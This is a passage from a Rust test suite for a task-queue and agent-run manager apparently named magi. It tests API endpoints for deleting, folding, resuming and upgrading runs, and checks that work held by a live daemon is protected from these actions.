12962 let mk = |title: &str| {
12963 Task::new(
12964 title.to_owned(),
12965 "Instruction".to_owned(),
12966 PathBuf::from("/repo"),
12967 Source::Human,
12968 )
12969 };
12970 let mut root = mk("root");
12971 root.hold_manual(Some("waiting".to_owned()));
12972 q.put(&mut root).unwrap();
12973 let mut mid = mk("mid");
12974 mid.block(vec![root.id.clone()], None);
12975 q.put(&mut mid).unwrap();
12976 let mut leaf = mk("leaf");
12977 leaf.block(vec![mid.id.clone()], None);
12978 q.put(&mut leaf).unwrap();
12979
12980 let list = fx.get("/api/queue").await.json();
12981 let find = |id: &str| {
12982 list.as_array()
12983 .unwrap()
12984 .iter()
12985 .find(|v| v["id"] == id)
12986 .unwrap()
12987 .clone()
12988 };
12989 let leaf_view = find(&leaf.id);
12990 assert_eq!(
12991 leaf_view["waits_on"],
12992 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12993 );
12994 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12995 assert_eq!(
12996 find(&mid.id)["waits_on"],
12997 serde_json::json!([format!("{} (held)", root.short())])
12998 );
12999 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13000 }
13001
13002 #[tokio::test]
13003 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13004 let fx = Fixture::start().await;
13005 let q = fx.queue();
13006
13007 let mut t1 = Task::new(
13009 "Task 1".to_owned(),
13010 "Instruction 1".to_owned(),
13011 PathBuf::from("/repo"),
13012 Source::Human,
13013 );
13014 let run_id = "20260901-000000-r111";
13015 t1.runs.push(run_id.to_owned());
13016 write_run(&fx.runs(), run_id, RunStatus::Merged);
13017 q.put(&mut t1).expect("put t1");
13018
13019 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13021 assert_eq!(res.status, 204);
13022 assert!(res.body.is_empty(), "204 No Content has no body");
13023 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13024 assert!(
13025 fx.runs().join(run_id).exists(),
13026 "run directory must not be deleted when its task is deleted"
13027 );
13028
13029 let mut t2 = Task::new(
13031 "Task 2".to_owned(),
13032 "Instruction 2".to_owned(),
13033 PathBuf::from("/repo"),
13034 Source::Human,
13035 );
13036 t2.status = TaskStatus::Running;
13037 q.put(&mut t2).expect("put t2");
13038 let mut beat = crate::daemon::Status::new();
13039 beat.current = vec![crate::daemon::Current {
13040 task: t2.id.clone(),
13041 run: "20260901-000000-r222".to_owned(),
13042 }];
13043 beat.updated_at = jiff::Timestamp::now();
13044 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13045 .expect("publish a heartbeat");
13046 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13047 assert_eq!(res.status, 409);
13048 assert!(
13049 res.json()["error"]
13050 .as_str()
13051 .unwrap()
13052 .contains("live daemon")
13053 );
13054 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13055
13056 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13062 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13063 .expect("leave a stale heartbeat");
13064 let mut t3 = Task::new(
13065 "Task 3".to_owned(),
13066 "Instruction 3".to_owned(),
13067 PathBuf::from("/repo"),
13068 Source::Human,
13069 );
13070 t3.status = TaskStatus::Running;
13071 q.put(&mut t3).expect("put t3");
13072 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13073 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13074 assert_eq!(res.status, 204);
13075 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13076 assert!(
13077 q.claim(&t3.id).is_ok(),
13078 "the stale lock went with it, so the id is claimable again"
13079 );
13080
13081 let res = fx.delete("/api/queue/nonexistent").await;
13083 assert_eq!(res.status, 404);
13084 }
13085
13086 #[tokio::test]
13087 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13088 let fx = Fixture::start().await;
13089 let runs = fx.runs();
13090
13091 let run_id = "20260901-000000-fold";
13093 let mut state = RunState::new(
13094 PathBuf::from("/repo"),
13095 "main".to_owned(),
13096 "abc".to_owned(),
13097 "instruction".to_owned(),
13098 Config::default(),
13099 );
13100 state.id = run_id.to_owned();
13101 state.status = RunStatus::Merged;
13102 state.candidates.push(crate::run::Candidate {
13103 index: 0,
13104 label: 'A',
13105 agent: "a".to_owned(),
13106 branch: "b".to_owned(),
13107 worktree: PathBuf::from("/w"),
13108 summary: String::new(),
13109 stat: String::new(),
13110 files: 1,
13111 commits: 1,
13112 empty: false,
13113 failed: None,
13114 verified_noop: None,
13115 duration_ms: 0,
13116 folded: true,
13117 });
13118 let dir = runs.join(run_id);
13119 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13120 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13121 .expect("write artifact");
13122 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13123 .expect("write run.json");
13124
13125 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13127 assert_eq!(res.status, 204);
13128 assert!(res.body.is_empty(), "204 has no body");
13129 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13130
13131 let run_running = "20260901-000000-rung";
13136 write_run(&runs, run_running, RunStatus::Prep);
13137 let mut beat = crate::daemon::Status::new();
13138 beat.current = vec![crate::daemon::Current {
13139 task: "20260901-000000-task".to_owned(),
13140 run: run_running.to_owned(),
13141 }];
13142 beat.updated_at = jiff::Timestamp::now();
13143 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13144 .expect("publish a heartbeat");
13145 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13146 assert_eq!(res.status, 409);
13147 assert!(
13148 res.json()["error"]
13149 .as_str()
13150 .unwrap()
13151 .contains("live daemon"),
13152 "the refusal must say who is holding it"
13153 );
13154 assert!(
13155 runs.join(run_running).exists(),
13156 "a run in flight keeps its directory"
13157 );
13158
13159 let run_unfolded = "20260901-000000-unfd";
13161 let mut state2 = RunState::new(
13162 PathBuf::from("/repo"),
13163 "main".to_owned(),
13164 "abc".to_owned(),
13165 "instruction".to_owned(),
13166 Config::default(),
13167 );
13168 state2.id = run_unfolded.to_owned();
13169 state2.status = RunStatus::Ready;
13170 state2.candidates.push(crate::run::Candidate {
13171 index: 0,
13172 label: 'A',
13173 agent: "a".to_owned(),
13174 branch: "b".to_owned(),
13175 worktree: PathBuf::from("/w"),
13176 summary: String::new(),
13177 stat: String::new(),
13178 files: 1,
13179 commits: 1,
13180 empty: false,
13181 failed: None,
13182 verified_noop: None,
13183 duration_ms: 0,
13184 folded: false,
13185 });
13186 let dir2 = runs.join(run_unfolded);
13187 std::fs::create_dir_all(&dir2).expect("create dir2");
13188 std::fs::write(
13189 dir2.join("run.json"),
13190 serde_json::to_string(&state2).unwrap(),
13191 )
13192 .expect("write run.json");
13193
13194 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13195 assert_eq!(res.status, 409);
13196 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13197 assert!(dir2.exists(), "unfolded run directory is kept");
13198
13199 let res = fx.delete("/api/runs/nonexistent").await;
13201 assert_eq!(res.status, 404);
13202 }
13203
13204 #[test]
13213 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13214 let start = APP_JS
13215 .find("function renderStats() {")
13216 .expect("renderStats");
13217 let end = start
13218 + APP_JS[start..]
13219 .find("function statsTile(")
13220 .expect("the next top-level function");
13221 let body = &APP_JS[start..end];
13222
13223 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13224 let gate_end = gate_start
13225 + body[gate_start..]
13226 .find("}\n renderStatsQueue")
13227 .expect("the gate's own closing brace, right before the unconditional call");
13228 let gated = &body[gate_start..gate_end];
13229
13230 assert_eq!(
13231 body.matches("renderStatsQueue(").count(),
13232 1,
13233 "renderStats must call renderStatsQueue exactly once: {body}"
13234 );
13235 assert!(
13236 !gated.contains("renderStatsQueue"),
13237 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13238 run-derived panels on an empty run history - the queue panel has to render \
13239 regardless: {gated}"
13240 );
13241 }
13242
13243 #[test]
13244 fn web_ui_delete_contract_in_front_end() {
13245 assert!(APP_JS.contains("deleteRun:"));
13247 assert!(APP_JS.contains("deleteTask:"));
13248
13249 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13251 ..APP_JS.find("function renderRuns").unwrap()];
13252 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13253
13254 assert!(APP_JS.contains("renderRunDelete"));
13256 assert!(APP_JS.contains("runDeleteReason"));
13257 assert!(APP_JS.contains("magi fold"));
13258 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13259
13260 assert!(APP_JS.contains("cancel.focus"));
13262 assert!(APP_JS.contains("armedRunDelete"));
13263 assert!(APP_JS.contains("renderTaskDeleteBox"));
13264 assert!(APP_JS.contains("armed${cap(key)}"));
13265
13266 assert!(APP_JS.contains("disabled: status === \"running\""));
13268 }
13269
13270 #[test]
13290 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13291 let build = APP_JS
13292 .find("function createRunCard")
13293 .expect("createRunCard exists");
13294 let update = APP_JS
13295 .find("function updateRunCard")
13296 .expect("updateRunCard exists");
13297 let end = APP_JS
13298 .find("function renderRuns")
13299 .expect("renderRuns exists");
13300
13301 let builder = &APP_JS[build..update];
13303 let open = builder.find("refs = {").expect("createRunCard sets refs");
13304 let literal = &builder[open + "refs = {".len()..];
13305 let close = literal.find('}').expect("the refs literal is closed");
13306 let published: HashSet<&str> = literal[..close]
13307 .split(',')
13308 .filter_map(|entry| entry.split(':').next())
13310 .map(str::trim)
13311 .filter(|name| !name.is_empty())
13312 .collect();
13313 assert!(
13314 published.len() > 5,
13315 "the refs literal did not parse into names: {published:?}"
13316 );
13317
13318 let mut used: Vec<&str> = Vec::new();
13321 let updaters = &APP_JS[update..end];
13322 for (at, _) in updaters.match_indices("r.") {
13323 let before = updaters[..at].chars().next_back();
13326 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13327 continue;
13328 }
13329 let rest = &updaters[at + 2..];
13330 let len = rest
13331 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13332 .unwrap_or(rest.len());
13333 if len > 0 {
13334 used.push(&rest[..len]);
13335 }
13336 }
13337 assert!(
13338 used.len() > 5,
13339 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13340 );
13341
13342 let missing: Vec<&str> = used
13343 .iter()
13344 .copied()
13345 .filter(|name| !published.contains(name))
13346 .collect();
13347 assert!(
13348 missing.is_empty(),
13349 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13350 never put in `refs` - every card will throw and the list will \
13351 render empty under a count line that says otherwise. Published: \
13352 {published:?}"
13353 );
13354 }
13355
13356 #[tokio::test]
13357 async fn folding_from_the_phone_reports_what_it_removed() {
13358 let fx = Fixture::start().await;
13359 let runs = fx.runs();
13360
13361 let id = "20260901-000000-fold";
13365 write_run(&runs, id, RunStatus::Stalled);
13366 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13367 assert_eq!(res.status, 200);
13368 assert_eq!(res.json()["removed_count"], 0);
13369 assert_eq!(res.json()["run"], id);
13370 assert!(
13371 runs.join(id).exists(),
13372 "a fold keeps the run's record; only the worktrees go"
13373 );
13374 }
13375
13376 #[tokio::test]
13377 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13378 let fx = Fixture::start().await;
13379 let runs = fx.runs();
13380 let wt = fx.home.path().join("wt").join("magi").join("dead");
13381 let id = "20260901-000000-dead";
13382 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13383 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13384 std::fs::create_dir_all(&wt).expect("worktree dir");
13385
13386 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13387 assert_eq!(res.status, 200, "{}", res.body);
13388 assert!(
13389 res.json()["removed_count"].as_u64().unwrap() > 0,
13390 "the worktree this build could not read a state for still went"
13391 );
13392 assert!(
13393 !runs.join(id).exists(),
13394 "an unreadable run has no candidate list to fold selectively, so \
13395 the whole record goes - same as `magi fold` on the CLI"
13396 );
13397 }
13398
13399 #[tokio::test]
13400 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13401 let fx = Fixture::start().await;
13402 let runs = fx.runs();
13403 let wt = fx.home.path().join("wt").join("magi").join("gone");
13404 let id = "20260901-000000-gone";
13405 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13406 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13407 std::fs::create_dir_all(&wt).expect("worktree dir");
13408
13409 let res = fx.delete(&format!("/api/runs/{id}")).await;
13410 assert_eq!(res.status, 204, "{}", res.body);
13411 assert!(!runs.join(id).exists(), "the broken record is gone");
13412 assert!(!wt.exists(), "its worktree is gone too");
13413 }
13414
13415 #[tokio::test]
13416 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13417 let fx = Fixture::start().await;
13418 let runs = fx.runs();
13419 let id = "20260901-000000-live";
13420 write_run(&runs, id, RunStatus::Implementing);
13421
13422 let mut beat = crate::daemon::Status::new();
13423 beat.current = vec![crate::daemon::Current {
13424 task: "20260901-000000-task".to_owned(),
13425 run: id.to_owned(),
13426 }];
13427 beat.updated_at = jiff::Timestamp::now();
13428 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13429 .expect("publish a heartbeat");
13430
13431 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13432 assert_eq!(res.status, 409);
13433 assert!(
13434 res.json()["error"]
13435 .as_str()
13436 .unwrap()
13437 .contains("live daemon"),
13438 "folding under a running agent would pull its worktree away"
13439 );
13440 }
13441
13442 #[tokio::test]
13443 async fn fold_merged_requires_a_pr_url() {
13444 let fx = Fixture::start().await;
13445 let runs = fx.runs();
13446 let id = "20260901-000000-nourl";
13447 write_run(&runs, id, RunStatus::Blocked);
13448
13449 let res = fx
13450 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13451 .await;
13452 assert_eq!(res.status, 400, "{}", res.body);
13453
13454 let blank = fx
13455 .post(
13456 &format!("/api/runs/{id}/fold-merged"),
13457 Some(r#"{"pr_url":" "}"#),
13458 )
13459 .await;
13460 assert_eq!(blank.status, 400, "{}", blank.body);
13461 }
13462
13463 #[tokio::test]
13464 async fn fold_merged_is_404_for_an_unknown_run() {
13465 let fx = Fixture::start().await;
13466 let res = fx
13467 .post(
13468 "/api/runs/nosuchrun/fold-merged",
13469 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13470 )
13471 .await;
13472 assert_eq!(res.status, 404, "{}", res.body);
13473 }
13474
13475 #[tokio::test]
13476 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13477 let fx = Fixture::start().await;
13478 let runs = fx.runs();
13479 let id = "20260901-000000-livemerge";
13480 write_run(&runs, id, RunStatus::Blocked);
13481
13482 let mut beat = crate::daemon::Status::new();
13483 beat.current = vec![crate::daemon::Current {
13484 task: "20260901-000000-task".to_owned(),
13485 run: id.to_owned(),
13486 }];
13487 beat.updated_at = jiff::Timestamp::now();
13488 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13489 .expect("publish a heartbeat");
13490
13491 let res = fx
13492 .post(
13493 &format!("/api/runs/{id}/fold-merged"),
13494 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13495 )
13496 .await;
13497 assert_eq!(res.status, 409, "{}", res.body);
13498 assert!(
13499 res.json()["error"]
13500 .as_str()
13501 .unwrap()
13502 .contains("live daemon"),
13503 "correcting a run's merge underneath a running agent would race \
13504 whatever it is doing to the same `status`/`merge` fields"
13505 );
13506 }
13507
13508 #[tokio::test]
13513 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13514 let fx = Fixture::start().await;
13515 let runs = fx.runs();
13516 let id = "20260901-000000-unconfirmed";
13517 write_run(&runs, id, RunStatus::Blocked);
13518
13519 let res = fx
13520 .post(
13521 &format!("/api/runs/{id}/fold-merged"),
13522 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13523 )
13524 .await;
13525 assert_eq!(res.status, 400, "{}", res.body);
13526 assert_eq!(
13527 read_run(&runs, id).unwrap().status,
13528 RunStatus::Blocked,
13529 "a pull request that could not be confirmed merged must leave \
13530 the run exactly where it was"
13531 );
13532 }
13533
13534 #[tokio::test]
13535 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13536 let fx = Fixture::start().await;
13537 let runs = fx.runs();
13538
13539 for (status, word) in [
13545 (RunStatus::Merged, "merged"),
13546 (RunStatus::Ready, "ready"),
13547 (RunStatus::Failed, "failed"),
13548 ] {
13549 let id = format!("20260901-000000-{}", &word[..4]);
13550 write_run(&runs, &id, status);
13551 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13552 assert_eq!(res.status, 409, "{word} must not be resumable");
13553 let err = res.json()["error"].as_str().unwrap().to_owned();
13554 assert!(err.contains(word), "the refusal names the status: {err}");
13555 }
13556
13557 let mid = "20260901-000000-midf";
13562 write_run(&runs, mid, RunStatus::Reviewing);
13563 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13564 assert_eq!(res.status, 202, "an interrupted run is resumable");
13565 }
13566
13567 #[tokio::test]
13568 async fn resume_is_refused_while_the_loop_is_running() {
13569 let fx = Fixture::start().await;
13570 let runs = fx.runs();
13571 let stalled = "20260901-000000-stal";
13572 write_run(&runs, stalled, RunStatus::Stalled);
13573
13574 let mut beat = crate::daemon::Status::new();
13578 beat.current = vec![crate::daemon::Current {
13579 task: "20260901-000000-task".to_owned(),
13580 run: "20260901-000000-othr".to_owned(),
13581 }];
13582 beat.updated_at = jiff::Timestamp::now();
13583 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13584 .expect("publish a heartbeat");
13585
13586 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13587 assert_eq!(res.status, 409);
13588 let err = res.json()["error"].as_str().unwrap().to_owned();
13589 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13590 assert!(err.contains("stop it first"), "{err}");
13591 }
13592
13593 #[test]
13594 fn a_run_cannot_be_resumed_twice_at_once() {
13595 let home = TempDir::new().expect("temp home");
13596 let ui = Ui::new(
13597 Queue::at(home.path().join("queue")),
13598 Questions::at(home.path().join("questions")),
13599 Talks::at(home.path().join("talks")),
13600 home.path().join("runs"),
13601 home.path().to_path_buf(),
13602 PathBuf::from("/repo"),
13603 )
13604 .with_worktrees_root(home.path().join("wt"));
13605 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13606 let again = ui.begin_resume("20260901-000000-once");
13607 assert!(again.is_err(), "a second tap must not start a second graph");
13608 drop(first);
13609 assert!(
13610 ui.begin_resume("20260901-000000-once").is_ok(),
13611 "and the claim is released when the attempt ends"
13612 );
13613 }
13614
13615 #[test]
13616 fn talk_thinking_tracks_only_its_held_turn_claim() {
13617 let home = TempDir::new().expect("temp home");
13618 let ui = Ui::new(
13619 Queue::at(home.path().join("queue")),
13620 Questions::at(home.path().join("questions")),
13621 Talks::at(home.path().join("talks")),
13622 home.path().join("runs"),
13623 home.path().to_path_buf(),
13624 PathBuf::from("/repo"),
13625 )
13626 .with_worktrees_root(home.path().join("wt"));
13627 let id = "20260901-000000-once";
13628
13629 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13630 let turn = ui.begin_talk_turn(id).expect("claim turn");
13631 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13632 assert!(
13633 !ui.is_thinking("20260901-000000-other"),
13634 "one talk's turn does not make another talk busy"
13635 );
13636 drop(turn);
13637 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13638 }
13639
13640 #[tokio::test]
13641 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13642 let fx = Fixture::start().await;
13643 let mut beat = crate::daemon::Status::new();
13647 beat.pid = 4321;
13648 beat.updated_at = jiff::Timestamp::now();
13649 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13650 .expect("publish a heartbeat");
13651
13652 let res = fx.post("/api/upgrade", None).await;
13653 assert_eq!(res.status, 409);
13654 let err = res.json()["error"].as_str().unwrap().to_owned();
13655 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13656 assert!(err.contains("old one against the same queue"), "{err}");
13657 }
13658
13659 #[test]
13666 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13667 assert!(!should_spawn_recheck(&crate::config::Update {
13668 mode: UpdateMode::Off,
13669 interval: None,
13670 }));
13671
13672 unsafe {
13675 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13676 }
13677 let killed = should_spawn_recheck(&crate::config::Update {
13678 mode: UpdateMode::Notify,
13679 interval: None,
13680 });
13681 unsafe {
13682 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13683 }
13684 assert!(
13685 !killed,
13686 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13687 one-time startup check"
13688 );
13689
13690 assert!(should_spawn_recheck(&crate::config::Update {
13691 mode: UpdateMode::Notify,
13692 interval: None,
13693 }));
13694 }
13695
13696 #[test]
13702 fn recheck_poll_period_tracks_a_short_configured_interval() {
13703 let short = crate::config::Update {
13704 mode: UpdateMode::Notify,
13705 interval: Some("1m".to_owned()),
13706 };
13707 let period = recheck_poll_period(&short);
13708 assert!(
13709 period <= Duration::from_secs(30),
13710 "a one-minute interval must wake the task far sooner than the \
13711 default ceiling, or the deck would not notice within the \
13712 interval the operator configured: got {period:?}"
13713 );
13714
13715 let default = crate::config::Update {
13716 mode: UpdateMode::Notify,
13717 interval: None,
13718 };
13719 assert_eq!(
13720 recheck_poll_period(&default),
13721 UPDATE_RECHECK_POLL_MAX,
13722 "the default day-long interval should poll at the (capped) \
13723 ceiling rather than needlessly often"
13724 );
13725 }
13726
13727 #[test]
13735 fn recheck_skips_the_network_before_the_interval_elapses() {
13736 let dir = TempDir::new().expect("temp dir");
13737 let path = dir.path().join("state.json");
13738 let state = kaishin::UpdateCheckState {
13739 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13740 last_known_latest: None,
13741 last_known_url: None,
13742 };
13743 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13744
13745 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13746 assert!(
13747 !update_recheck_due(&checker, None),
13748 "a check made moments ago must not be repeated before the \
13749 configured interval elapses"
13750 );
13751 }
13752
13753 #[test]
13759 fn recheck_defers_to_an_upgrade_already_in_flight() {
13760 let dir = TempDir::new().expect("temp dir");
13761 let path = dir.path().join("state.json");
13762 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13763 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13764
13765 assert!(
13766 !update_recheck_due(&checker, Some(&progress)),
13767 "a recheck must not run while an upgrade this deck started is \
13768 still moving"
13769 );
13770 }
13771
13772 #[tokio::test]
13773 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13774 unsafe {
13786 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13787 }
13788 let fx = Fixture::start().await;
13789 let res = fx.post("/api/upgrade", None).await;
13790 unsafe {
13791 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13792 }
13793 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13794 let body = res.json();
13795 assert!(body["to"].is_null(), "there was no release to move to");
13796 assert!(body["parked"].is_null(), "and nothing was parked");
13797 assert!(
13798 body["detail"]
13799 .as_str()
13800 .unwrap()
13801 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13802 "{body:?}"
13803 );
13804 }
13805
13806 #[tokio::test]
13807 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13808 let repo = TempDir::new().expect("repo dir");
13824 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13825 .expect("write magi.toml");
13826 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13827
13828 let res = fx.post("/api/upgrade", None).await;
13834 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13835 let body = res.json();
13836 assert!(body["to"].is_null(), "there was no release to move to");
13837 assert!(body["parked"].is_null(), "and nothing was parked");
13838 assert!(
13839 body["detail"]
13840 .as_str()
13841 .unwrap()
13842 .contains("nothing restarted"),
13843 "{body:?}"
13844 );
13845 }
13846
13847 #[tokio::test]
13848 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13849 let repo = TempDir::new().expect("repo dir");
13854 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13855 .expect("write magi.toml");
13856 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13857
13858 let health = fx.get("/api/health").await.json();
13859 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13860 assert_eq!(
13861 health["update"]["available"], false,
13862 "checking is off, which reads as \"unknown\", not \"none\""
13863 );
13864 assert!(health["update"]["to"].is_null());
13865 assert!(
13866 health["upgrade"].is_null(),
13867 "nothing has ever asked this deck to upgrade"
13868 );
13869 }
13870
13871 #[tokio::test]
13872 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13873 let fx = Fixture::start().await;
13874 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13875
13876 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13877 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13878 progress.advance(crate::updater::Stage::Parking);
13879 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13880
13881 let health = fx.get("/api/health").await.json();
13882 assert_eq!(health["upgrade"]["stage"], "parking");
13883 assert_eq!(health["upgrade"]["from"], "0.5.1");
13884 assert_eq!(health["upgrade"]["to"], "0.5.2");
13885 let waiting_on = health["upgrade"]["waiting_on"]
13886 .as_str()
13887 .expect("waiting_on is set while parking a known run");
13888 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13889 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13890 }
13891
13892 #[tokio::test]
13893 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13894 let fx = Fixture::start().await;
13895 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13896 progress.advance(crate::updater::Stage::Done);
13897 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13898
13899 let health = fx.get("/api/health").await.json();
13900 assert_eq!(health["upgrade"]["stage"], "done");
13901 assert!(
13902 health["upgrade"]["waiting_on"].is_null(),
13903 "nothing to wait on once it is done"
13904 );
13905 }
13906
13907 #[tokio::test]
13908 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13909 let home = TempDir::new().expect("temp home");
13910 let runs = home.path().join("runs");
13911 std::fs::create_dir_all(&runs).expect("runs dir");
13912 let ui = Ui::new(
13913 Queue::at(home.path().join("queue")),
13914 Questions::at(home.path().join("questions")),
13915 Talks::at(home.path().join("talks")),
13916 runs,
13917 home.path().to_path_buf(),
13918 PathBuf::from("/repo/magi"),
13919 )
13920 .with_launch(launch_idle);
13921 let looping = ui.looping();
13922 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13923 .await
13924 .expect("bind loopback");
13925 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13926
13927 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13928 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13929
13930 hand_over(home.path(), &looping, served, |_| Ok(1))
13931 .await
13932 .expect("hand over");
13933
13934 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13935 assert_eq!(
13936 after.stage,
13937 crate::updater::Stage::Restarting,
13938 "hand_over owns the record through parking and up to restarting; \
13939 the successor is what finishes it"
13940 );
13941 }
13942
13943 #[tokio::test]
13946 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13947 for fail in [false, true] {
13948 let home = TempDir::new().expect("temp home");
13949 let ui = idle_ui(&home);
13950 let looping = ui.looping();
13951 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13952 .await
13953 .expect("bind loopback");
13954 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13955 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13956 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13957
13958 let calls = std::sync::atomic::AtomicUsize::new(0);
13959 let outcome = hand_over(home.path(), &looping, served, |_| {
13960 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13961 if fail {
13962 anyhow::bail!("no exec")
13963 } else {
13964 Ok(4242)
13965 }
13966 })
13967 .await;
13968 assert_eq!(outcome.is_err(), fail);
13969 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13970
13971 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13972 .expect("upgrade.log is written under the home");
13973 for step in [
13974 "entered",
13975 "finish_loop",
13976 "listener released",
13977 "starting the successor",
13978 ] {
13979 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13980 }
13981 assert!(
13982 log.contains(if fail { "did not start" } else { "pid 4242" }),
13983 "{log}"
13984 );
13985 }
13986 }
13987
13988 #[tokio::test]
13991 async fn the_handover_signal_wakes_one_waiter_once() {
13992 let signal = Notify::new();
13993 signal.notify_one();
13995 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13996 .await
13997 .expect("an early signal is still seen");
